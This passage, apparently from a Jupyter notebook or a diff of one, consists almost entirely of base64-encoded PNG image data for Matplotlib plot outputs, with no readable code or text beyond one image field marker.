wYffvghiqLQv39/fvzxRwICAoyeV6dOHQ4ePMi8efNYs2YNiYmJ1KlTh0GDBuHk5ASo1+1///135s+fz6ZNmwgJCcHX15e7776b2267DVCLhl27do3ly5fz008/0aJFC1avXs369etLLASWq02bNvz000/MmjWLl19+mdtuu40FCxYQGRlZ4pu1u7s7n376Kdu2bWPlypVcu3YNa2trmjVrxuLFi3nyySfL8uOsEHfddReff/45b731Fk899RQNGzZk0aJFhIeHm5SM3HHHHbz22mt88skn7NixA71ez6VLl4xmy0ycOJHnnnvOpIGrZVGW1/KFF16gadOmvPfeeyxYsACAunXr0r9/f+655x4AHnvsMTIyMvKKnwF4eXmxYsUKhg8fzpIlS3juuecq5XsTNZtOKc/oJyEEAEuXLmXmzJmcP3/eaNqlEKAWW3v66acJDw8vdDaMEEIl/WtCmODvv//OK1UuRH6KovD555/Tq1cvSUSEKIFcphGiHL777jv27t3LmjVrmDJlitFqrsKypaSksGXLFvbs2cPx48f5/vvvzR2SEFWeXKYRohwaNmxIUlIS9957L++//365q2qKmic8PJyGDRvi7u7O448/zhtvvGHukISo8iQZEUIIIYRZyZgRIYQQQpiVJCNCCCGEMCtJRoQQQghhVpKMCCGEEMKsJBkRQgghhFlJMiKEEEIIs5JkRAghhBBmJcmIEEIIIczq//rz4Y3BtYxDAAAAAElFTkSuQmCC", + "image/png": "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